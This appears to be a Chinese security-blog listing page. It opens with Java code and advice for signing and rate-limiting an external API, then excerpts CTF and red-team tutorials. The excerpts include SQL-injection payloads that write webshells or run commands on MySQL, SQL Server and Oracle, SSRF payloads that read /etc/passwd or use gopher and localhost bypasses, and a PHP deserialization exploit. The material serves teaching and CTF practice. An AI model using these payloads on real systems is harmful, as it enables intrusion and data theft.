arg0.getParameter("agentid"));  if(StringUtils.isEmpty(securityKey)){   Response response = new Response();   response.setData(null);   response.getResult().setResultCode(8001);   response.getResult().setResultMsg("缺少私钥, 渠道号:" + arg0.getParameter("agentid"));   logger.error("缺少私钥, 渠道号:" + arg0.getParameter("agentid"));   InterceptorResp.printJson(arg1, response);   return false;  }    if(StringUtils.isEmpty(arg0.getParameter("sign")) || !arg0.getParameter("sign").equals(CaiexCheckUtils.getSign(arg0.getParameterMap(), securityKey))){   Response response = new Response();   response.setData(null);   response.getResult().setResultCode(3203);   response.getResult().setResultMsg("参数签名认证失败");   logger.error("参数签名认证失败:" + JSON.toJSONString(arg0.getParameterMap()) + " securityKey = " + securityKey);   InterceptorResp.printJson(arg1, response);   return false;  }else{   return true;  } }}WebAppConfigurerpackage com.caiex.oltp.config; import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.ComponentScan;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.EnableWebMvc;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; import com.caiex.oltp.interceptor.APILimitRateValidator;import com.caiex.oltp.interceptor.CommonValidator;import com.caiex.oltp.interceptor.DDSAuthValidator;import com.caiex.oltp.interceptor.QueryPriceParamsValidator;import com.caiex.oltp.interceptor.TradeParamsValidator;  @[email protected]@ComponentScanpublic class WebAppConfigurer extends WebMvcConfigurerAdapter {    @Bean   CommonValidator commonInterceptor() {         return new CommonValidator();     }    @Bean   DDSAuthValidator ddsAuthInterceptor() {         return new DDSAuthValidator();     }    @Bean   QueryPriceParamsValidator queryPriceParamsInterceptor() {         return new QueryPriceParamsValidator();     }    @Bean   TradeParamsValidator tradeParamsInterceptor() {         return new TradeParamsValidator();     }     @Bean   APILimitRateValidator aPILimitRateInterceptor() {         return new APILimitRateValidator();     }       @Override     public void addInterceptors(InterceptorRegistry registry) {            //访问速率限制      registry.addInterceptor(aPILimitRateInterceptor())      .addPathPatterns("/*/*");      //.addPathPatterns("/price/getPriceParam");       //参数签名认证         registry.addInterceptor(ddsAuthInterceptor())         .addPathPatterns("/tradeState/*")         .addPathPatterns("/recycle/*")         .addPathPatterns("/matchInfo/*")         .addPathPatterns("/price/tradeTicketParam");                  //公共参数检查         registry.addInterceptor(commonInterceptor())         .addPathPatterns("/price/tradeTicketParam")         .addPathPatterns("/tradeState/*")         .addPathPatterns("/recycle/*");                  //询价参数校验         registry.addInterceptor(queryPriceParamsInterceptor())         .addPathPatterns("/price/getPriceParam");                  //交易参数检查         registry.addInterceptor(tradeParamsInterceptor())         .addPathPatterns("/price/tradeTicketParam");                  super.addInterceptors(registry);     }}7、token令牌和sign数字签名实现数据保密性。创建令牌(Token)为保证请求的合法性,我们提供第三方创建令牌接口,某些接口需要通过token验证消息的合法性,以免遭受非法攻击。最后,关注码猿技术专栏公众号,回复“面试宝典”,送你一份面试题宝典!token过期时间目前暂时定为1天,由于考虑到合作方往往是分布式环境,多台机器都有可能申请token,为了降低合作方保证token一致性的难度,调用接口创建token成功以后一分钟以内,再次请求token返回的数据是一样的。获取私钥获取用于数字签名的私钥,第三方获取的私钥需妥善保存,并定期更新,私钥只参与数字签名,不作为参数传输。数字签名方式:参数签名;签名方式:所有值不为null的参数(不包括本参数)均参与数字签名,按照“参数名+参数值+私钥”的格式得到一个字符串,再将这个字符串MD5一次就是这个参数的值。(示例:h15adc39y9ba59abbe56e057e60f883g),所以需要先获取私钥。验签方式:将用户的所有非null参数放入定义好排序规则的TreeSet中进行排序,再用StringBuilder按照按照“参数名+参数值+私钥”的格式得到一个字符串(私钥从redis拿),再将这个字符串MD5一次就是这个参数的值。将这个值与用户传来的sign签名对比,相同则通过,否则不通过。private String createToken(){  String utk = "Msk!D*"+System.currentTimeMillis()+"UBR&FLP";  logger.info("create token   --- "+Md5Util.md5(utk));  return Md5Util.md5(utk); }8、接口限流有时候服务器压力真的太大,以防交易接口被挤死,就可以对一些其他不影响主要业务功能并且计算量大的接口做限流处理。RateLimit--使用guava来做接口限流,当接口超过指定的流量时,就不处理该接口的请求。详细可看RateLimit。也可参考其他限流框架。9、协议加密,http升级成https;为什么要升级呢,为了保证数据的安全性。当使用https访问时,数据从客户端到服务断,服务端到客户端都加密,即使黑客抓包也看不到传输内容。当然还有其他好处,这里不多讲。但这也是开发接口项目需要注意的一个问题。如何提高接口的高并发和高可用接口开发好了,接下来就讨论接口的可用性问题。首先我们要将高并发和高可用区分一下,毕竟高可用是在可用的情况,只是很慢或者效率不高。其实也可以归为一类问题,但是不重要啦,重要的是怎么提高你写的接口的访问速度和性能。接口的高并发解决方案(其实没有唯一答案,业界针对不同业务也有很多不同的方法)当访问一个接口获取数据时,发现返回很慢,或者总是超时,如果排除网络的原因,那就是接口服务器压力太大,处理不过来了。在世界杯期间,我们查看后台日志总是connection by reset和borker pipe和一些超时问题。这时候,你可能遇到了高并发和高可用问题。但是,不管遇到什么问题,都不能臆断和乱改,你得需要找到慢的原因,才能对症下药,乱改可能会导致其他问题的出现。首先,解决高并发问题的三个方向是负载均衡,缓存和集群。负载均衡我们使用的是阿里云服务器的负载均衡,后台分布式服务管理,我们运维小哥哥搭建了一套k8s,可以自由在k8s上扩展服务节点,各个服务结点也能随内存的使用自动漂移,不用多说,k8s真的很厉害,感兴趣的同学可以详细去学。那么问题来了,阿里云的负载均衡怎么对应到k8s的负载均衡呢?这个涉及到了k8s的service暴露的一些特点,简单说就是k8s把所有集群的服务都通过指定的内部负载均衡,在指定的服务器上暴露,然后我们又把这几个服务器接在阿里云负载均衡下,这个涉及的细节和配置很多。当然,除nginx外,还有其他负载均衡解决方案,软件硬件都有,硬件如f5等。阿里云的nginx负载均衡,我们使用的是加权轮询策略,其实轮询是最低效的方式;这就是最基本的负载均衡实例,但这不足以满足实际需求;目前Nginx服务器的upstream模块支持6种方式的分配:负载均衡策略集群首先,通过排查问题,发现是oltpapi接口服务处理请求很慢,大量请求过来,总是超时和中断连接,这时候,我们想着最简单的方法就是加机器,给oltp接口服务多加几台机器。嗯,一切都很完美,如预期进行,但是加到一定数量,你发现,怎么不起效果,异步响应还是很慢,或者更直观的说,消息队列出现了严重的消息堆积。这时候,你发现出现了新的问题或者瓶颈,这个问题已经不是说加oltp服务器能解决了,那么,就需要去重新定位问题。发现是消息堆积,消息堆积就是生产者过快,导致消费者消费不过来,这时候,你就需要增加消费者的消费数量。给风控系统多加几台机器,让消费者和生产者达到一定平衡。这里有个误区,你可能以为是rocketmq的broker数量过少,增加broker数量,其实当消费者和生产者保持一样的速度时,消息肯定不对堆积,按照原始的broker数量就足够。但是增加broker也会使得消息得到尽快的处理,提升一定效率。缓存当加机器不能解决问题时,或者说没那么多服务器可使用时,那么就要重代码层面解决高并发问题。Redis 是一个高性能的key-value数据库,当获取数据从数据库拿很慢时,就可以存储到redis,从redis取值。用ConcurrentHashMap缓存对象,并设置过期时间redis缓存数据,结合spring定时任务定时获取不会经常改动的key提高使用redis的效率:比如使用mGet一次获取多个key....等接口高可用问题高可用问题应该上升到整个服务的架构问题上,就是说在搭建整体系统是就应该考虑到。高可用问题是以单点故障,访问速度慢的问题为主导。redis主从分布式(redis的单点故障和访问速度的提高和主从备份)分布式dubbo服务的zookeeper主从集群strom的主从集群...等总结下面对接口开发服务做一些总结:1.是拉还是推:当接口作为数据源时,还要考虑数据是让合作方主动过来拉还是数据有变化就推送呢,当然是推的效果更好,但是如何有效的推数据,不推重复数据等都是需要根据实际业务考虑的问题。2.多台分布式服务器上,怎么保证交易的幂等和订单的唯一性当接口服务和合作方都处于分布式情况下,就很容易出现一个订单号申请多次交易请求,但是根据幂等性,一张彩票只能交易一次,并且每次不管何时请求,结果都应该一样不会改变。这种情况下,我们怎么保证唯一性呢,我们需要把该订单和订单状态存redis,每次请求时去看是否订单已存在。但可能这次交易不成功,下次这张票还可以继续交易,可以生成新的订单号啊。redis的setNX是一个很好的解决方案,意思是当存在该key时,返回false,当没有时,该key和value插入成功。用作检查订单是否正在提交,如果是,则阻塞本次请求,避免重复提交 ,可以设置过期时间3s。提交之前锁定订单,防止重复提交。3.处理时间超过10s,自动返回该订单交易失败总之,博主发现,在高并发场景下,导致服务崩溃的原因还是redis和数据库,可能是redis读写太慢,或者数据库的一些sql使用不当,或者没建索引导致读写很慢。总之,这是一条很漫长的路,我们都需要慢慢积累经验和学习前人更优秀的解决办法。干货分享最近将个人学习笔记整理成册,使用PDF分享。关注我,回复如下代码,即可获得百度盘地址,无套路领取!•001:《Java并发与高并发解决方案》学习笔记;•002:《深入JVM内核——原理、诊断与优化》学习笔记;•003:《Java面试宝典》•004:《Docker开源书》•005:《Kubernetes开源书》•006:《DDD速成(领域驱动设计速成)》•007:全部•008:加技术群讨论加个关注不迷路喜欢就点个"在看"呗^_^ 本文始发于微信公众号(IT牧场):优雅的实现对外接口,要注意哪些问题?
阅读全文
红队-Getshell总结 安全文章

红队-Getshell总结

Author: [email protected]深蓝攻防实验室,原文:https://xz.aliyun.com/t/7500无论是常规渗透测试还是攻防对抗,亦或黑灰产对抗、APT攻击,getshell 是一个从内到外的里程碑成果。我们接下来总结下常见拿shell的一些思路和方法。文中可能有一些不足之处,还望大佬不吝赐教。0x01 注入getshell一般前提条件:有权限、知道路径mysqlselect 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'Sql server存储过程xp_cmdshell;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item,"unsafe");%^> > D:\WWW\2333.aspx' ;--Oracle1、创建JAVA包select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;2、JAVA权限select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;3、创建函数select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String)...
阅读全文
用CTFHUB总结SSRF攻击方式 CTF专场

用CTFHUB总结SSRF攻击方式

漏洞详情SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。    服务器Ubuntu为WEB服务器,可被攻击者访问,内网中的其他服务器无法被攻击者直接访问。假设服务器Ubuntu中的某个WEB应用存在SSRF漏洞,那我们就可以操作这个WEB服务器去读取本地的文件、探测内网主机存活、探测内网主机端口等,如果借助相关网络协议,我们还可以攻击内网中的Redis、MySql、FastCGI等应用,WEB服务器在整个攻击过程中被作为中间人进行利用。容易出现SSRF的地方有:1)分享:通过URL地址分享网页内容2)转码服务3)在线翻译4)图片加载与下载:通过URL地址加载或下载图片5)图片、文章收藏功能6)未公开的api实现以及其他调用URL的功能7)从URL关键字中寻找总而言之就是会和请求服务器链接、图片等资源的地方SSRF漏洞的危害:1.对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。2.攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。3.对内网Web应用进行指纹识别,识别企业内部的资产信息。4.攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。5.利用file协议读取服务器本地文件等。6.进行跳板攻击等。SSRF漏洞利用的相关协议SSRF漏洞的利用所涉及的协议有:•file协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容•dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等•gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell•http/s协议:探测内网主机存活•更多伪协议利用方式可以参考:https://xz.aliyun.com/t/6373#toc-8常见伪协议利用方式(file、http/s和dict协议)SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。读取内网文件(file协议)我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来(需要知道绝对路径):ssrf.php?url=file:///etc/passwdssrf.php?url=file:///var/www/html/flag.php探测内网主机存活(http/s协议)一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。域网IP地址范围分三类,以下IP段为内网IP段:C类:192.168.0.0 - 192.168.255.255 B类:172.16.0.0 - 172.31.255.255 A类:10.0.0.0 - 10.255.255.255构造如下payload,便可通过服务器发送请求去探测内网存活的主机:ssrf.php?url=http://192.168.52.1ssrf.php?url=http://192.168.52.6ssrf.php?url=http://192.168.52.25......借助burpsuite的Intruder模块进行爆破即可扫描内网端口(http/s和dict协议)我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:ssrf.php?url=dict://127.0.0.1:6379/info // redisssrf.php?url=dict://127.0.0.1:80/info // httpssrf.php?url=dict://127.0.0.1:22/info // ssh同样可以借助burpsuite来爆破内网主机上的服务。常见攻击方式(Gopher协议)Gopher协议在SSRF中的利用Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。(1)Gopher协议格式URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。•gopher的默认端口是70•如果发起POST请求,回车换行需要使用 %0d%0a来代替 %0a,如果多个参数,参数之间的&也需要进行URL编码那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:1.抓取或构造HTTP数据包2.URL编码、将回车换行符 %0a替换为 %0d%0a3.再一次编码,发送符合gopher协议格式的请求4.可能是因为请求是直接get gopher链接的,有时候还需要再url编码一次。一共三次(2)利用Gopher协议发送HTTP POST请求这里以POST请求为案例,用ctfhub的SSRF-POST 请求为实验环境根据了解题目,需要将key=da7b0ff80038f11a3823ab0d8788bf94 POST给flag.php, 构造HTTP POST请求POST /flag.php HTTP/1.1Host: 127.0.0.1:80Content-Type: application/x-www-form-urlencodedContent-Length: 36key=da7b0ff80038f11a3823ab0d8788bf94第一次URL编码然后将第一次编码后的url中%0a替换为 %0d%0a替换完成后,第二次编码, !(D:MarkDownMarkDown fileWeb常见漏洞利用与绕过SSRF漏洞利用总结.assetsimage-20210507110148464.png)第二次编码后的url:POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252011%250D%250A%250D%250Akey%253Dda7b0ff80038f11a3823ab0d8788bf94%250D%250A第三次编码后的url:POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252011%250D%250A%250D%250Akey%253Dda7b0ff80038f11a3823ab0d8788bf94%250D%250A用第三次编码后的url 构造符合gopher协议的请求:gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252011%250D%250A%250D%250Akey%253Dda7b0ff80038f11a3823ab0d8788bf94%250D%250A然后在链接里请求,即得到了flag:注意这几个问题:1.问号(?)需要转码为URL编码,也就是%3f2.回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a3.在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)4.上面的POST请求中那四个HTTP头是POST请求必须的,即POST Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用相关绕过姿势对于SSRF的限制大致有如下几种:•限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。•限制域名只能为http://www.xxx.com•限制不能访问内网的IP,以防止对内网进行攻击。•屏蔽返回的详细信息。(1)利用HTTP基本身份认证的方式绕过如果目标代码限制访问的域名只能为 http://www.xxx.com ,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://[email protected]还有其他的但是不太常用2.?号绕过url=http://www.aaaa.com?www.xxx.com3.#绕过url=http://www.aaaa.com#www.xxx.com4.斜杠/绕过url=http://www.aaaa.com/www.xxx.com等等等等CTFHub Url Bypass(2)利用302跳转绕过内网IP绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。(1)网络上存在一个很神奇的服务,网址为 http://xip.io,访问这个域名会通过302重定向到xip.io后的路径或者域名当我们访问:http://127.0.0.1.xip.io/flag.php 时,实际上访问的是http://127.0.0.1/1.php 。像这种网址还有http://nip.io,http://sslip.io 。(2)短地址跳转绕过,这里也给出一个网址:http://92.xswzl.cn/(3)进制的转换绕过内网IP其他各种指向127.0.0.1的地址http://localhost/ # localhost就是代指127.0.0.1 http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址http:/// # 在liunx下可用,window测试了下不行 http://:80/ # 在liunx下可用,window测试了下不行 http://127。0。0。1/ # 用中文句号绕过http://①②⑦.⓪.⓪.①http://127.1/http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1http://0x7F000001 #可以使用十六进制进行http://0177.0.0.1/ #不知道啥原理,记录下利用ctfhub演示一下(4)利用不存在的协议头绕过指定的协议头file_get_contents()函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:httpsssss://当 file_get_contents() 函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:ssrf.php?url=httpsssss://../../../../../../etc/passwdssrf.php?url=httpsssss://abc../../../../../../etc/passwd这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。(5)利用URL的解析问题该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parseurl函数的解析差异以及curl和parseurl解析差异来进行绕过。(1)利用readfile和parse_url函数的解析差异绕过指定的端口测试代码:// ssrf.php<?php $url = 'http://'. $_GET; $parsed = parse_url($url); if( $parsed == 80 ){ // 这里限制了我们传过去的url只能是80端口的 readfile($url);} else { die('Hacker!'); }?>用python在当前目录下起一个端口为11211的WEB服务:!(D:MarkDownMarkDown fileWeb常见漏洞利用与绕过SSRF漏洞利用总结.assetsimage-20210501180306505.png)上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:ssrf.php?url=127.0.0.1:11211:80/flag.txt!(D:MarkDownMarkDown fileWeb常见漏洞利用与绕过SSRF漏洞利用总结.assetsimage-20210501180350200.png)如上图所示成功读取了11211端口中的flag.txt文件,下面用BlackHat的图来说明原理:图片从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。这两个函数在解析host的时候也有差异,如下图:图片readfile()函数获取的是@号后面一部分(evil.com),而parseurl()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parseurl()函数对指定host的限制。(2)利用curl和parse_url的解析差异绕指定的host原理如下:图片从上图中可以看到curl()函数解析的是第一个@后面的网址,而parseurl()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parseurl()函数对指定host的限制。ssrf.php?url=http://@127.0.0.1:[email protected]/flag.php不过这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即 0.0.0.0。0.0.0.0 这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:ssrf.php?url=http://0.0.0.0/flag.php但是这只适用于Linux系统上,Windows系统的不行。攻击内网RedisRedis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。什么是Redis未授权访问?Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源...
阅读全文
MRCTF2020部分题的总结与复现 CTF专场

MRCTF2020部分题的总结与复现

0x00 前言题目整体来说不太难,毕竟是个新生赛,Web出的大部分题都很简单。但考察的知识点等方面,确实需要总结一下。于是我总结了部分MISC和Web。(Crypto不想总结)。0x01 WebPYWebsite这个题出的感觉在考脑洞。。。前端js验证很好绕过(然而绕过也没啥用,而且直接就可以访问flag.php,但没有flag)只有这个:在这里插入图片描述最近可能做题做傻了,看到IP竟然没想到IP伪造(如XFF欺骗),枯了。。。Ez_bypass这个很容易bypass,数组绕过md5、数字+字母绕过is_numeric()在这里插入图片描述第二步也可以用语句绕过1234567|1=1EzPopPHP反序列化和pop链我学的不太好(之后再好好学习总结一下),然后这道题就没做。抽空再补补相关知识。wp说考点就下面这三个:反序列化魔术方法__construct()//当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep()//在对象在被序列化之前运行 __wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过) __get()//获得一个类的成员变量时调用 __set()//设置一个类的成员变量时调用 __invoke()//调用函数的方式调用一个对象时的回应方法 __call()//当调用一个对象中的不能用的方法的时候就会执行这个函数php复制代码public、protected与private在序列化时的区别protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。BASE64 Wrapper LFIphp://filter/convert.base64-encode/resource=flag.php这里直接粘上wp上的exp和分析过程,自己大致思考了一下:Exp:<?php class Show{ public $source; public $str; } class Test{ public $p; } class Modifier{ protected $var; function __construct(){ $this->var="php://filter/convert.base64-encode/resource=flag.php"; } } $s = new Show(); $t = new Test(); $r = new Modifier(); $t->p = $r; $s->str = $t; $s->source = $s; var_dump(urlencode(serialize($s))); ?>php复制代码分析<?php //flag is in flag.php //WTF IS THIS? //Learn From http://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value);//8.触发这个include,利用php base64 wrapper 读flag } public function __invoke(){ $this->append($this->var);//7.然后会调用到这里 } }...
阅读全文
BUUCTF百题刷题总结(一) CTF专场

BUUCTF百题刷题总结(一)

前言最近打算开始刷BUU的Web题了,之前已经刷过一些,有的总结了,有的没有总结。总结过的这里只写之前总结的链接;没总结的,原因是当时感觉有点简单,这里简单写下考察知识点和解题思路。新刷的Web题,会认真总结。BUUCTF刷题系列持续更新(SQL注入题和文件上传题单独记录)!0x01 WarmUp考点:PHP代码审计+绕过自定义函数+文件包含查看源代码,发现source.php,访问发现源码 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { //白名单列表, 有source.php和hint.php $whitelist = ; //!isset($page)判断$page是否未设置、!is_string($page)判断$page是否是非字符串,满足其一return false if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } //in_array($page)判断$page的值是否在白名单列表$whitelist中 如果在,则为真return true if (in_array($page, $whitelist)) { return true; } //将变量$page从问号之前截取字符串(如果$page的值有?则从?之前提取字符串)并赋值给$_page $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); //第二次in_array($_page)判断$_page的值是否在白名单列表$whitelist中 如果在,则为真return true if (in_array($_page, $whitelist)) { return true; } //对$pageurl解码 $_page = urldecode($page); //第二次将变量$_page从问号之前截取字符串并赋值给$_page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); //第三次in_array($_page)判断$_page的值是否在白名单列表$whitelist中 如果在,则为真return true if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (!...
阅读全文
web_ctf 题型总结 CTF专场

web_ctf 题型总结

ctf 常见套路总结01、   工具集02、   常用套路总结web源码泄露003、  php弱类型004、   绕 WAF附一张图01、 工具集    基础工具    -Brupsuite    -Python    -Fiorefox    扫描工具    -御剑    -Nmap    -AWVS    文件上传工具    -菜刀、cknife    文件包含工具    -LFlsuite    暴力破解工具    -bp暴力破击    -Hydra    其它一些比如、010 Editor、wireshark02、 常用套路总结    查看html代码    火狐的F12,利用好,能看到的可能直接就是flag,也可能一道ctf题在页面中没有任何解题有关提示,但可能在源码中注释部分会有提示。    查看http数据包    当然不止有源码注释可以隐藏信息,用bp抓包,查看http请求/响应,也是很重要的一个方法    修改或添加HTTP请求头    常见要修改的有    -Referer: 来源伪造    -X-forwarded-For:ip伪造    -usage-agent:用户代理    -cookie:身份识别伪造这些修改都很基础,主要的是要能识别出来,要要我们伪造或这修改的是什么。就比如改referer,做题之外也要想想怎么来预防来源伪造,这是做题的深层含义。web源码泄露    https://www.secpulse.com/archives/55286.html    下面是4中常见的-Vim源码泄露    解题思路:如果发现页面有提示vi或者vim,说明存在swp文件泄露 那么伪造地地址:/.index.php.swp或者/index.php-如果源码down下来乱码,可以使用Linux:vim -r index.php-备份文件泄露地址:index.php.bakwww.zipwwwroot.ziphtdocs.zip.rar.zip.7z.tar.gz.bak.swp.txt-.git源码泄露地址:http://www.xxx.com/git/config工具:GitHack、dvcs-ripper-SVN源码泄露    SVN(subversion)是源代码版本管理软件。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。地址:http://www.xxxxx.com/svn/entries工具:dvcs-ripper、Seay-Svn-.hg源码泄露漏洞成因:hg init的时候会生成 .hg工具 dvcs-ripper也可以在网站根目录下搜索 .hg-.DS_Store源码泄露    编码加密解密    编码类的题主要还是看经验,在这种算下面的几种算很基础的。-Base64多次加密Py解密脚本import base64fp=open('1.txt','r')a=fp.read()while 1:    a=base64.b64.decode(a)    print a-摩尔斯电码它的组成有:点、划、空格、斜杠/-培根密码实际是用二进制来的通常用a和b来表示,选特定个数为一组,对应明文的一个字符-栅栏密码-凯撒密码用偏移量来代表凯撒密码把,比如偏移量为3密文中的a就对应明文的d,b就对应e   Windows特性    -短文件名    利用“~”字符猜解暴露短文件/文件夹名。    例如    例如:backup-082119f75623ev4df7fds6545ff66fsd.sql,其短文件名是 BACKUP~1.sql-IIS解析漏洞绕过文件上传检测服务端白名,黑名单下面是进阶一点的003、  php弱类型PHP包含的类型-string-integer-array-double-boolean-object-resource-NULL==遇到不符合类型,自动转换   知道这些可以来了解下PHP类型比较,    在==情况的比较下,在比较前会将字符串类型转换成相同的再比较。如果涉及到比较数字和字符串,会转换成数字再比较。===不进行转换,先判断类型。    常见的例子:    ‘123’ = 123    ‘0x01 == 1 #十进制数转换成数字1    " == 0 == false    NUll == false == 0    == == ==    true == 1    ‘abc’ == 0    ‘123a’ == 123    ‘0e123456789’ == ‘0e987654321’一些见过的题:题型1...
阅读全文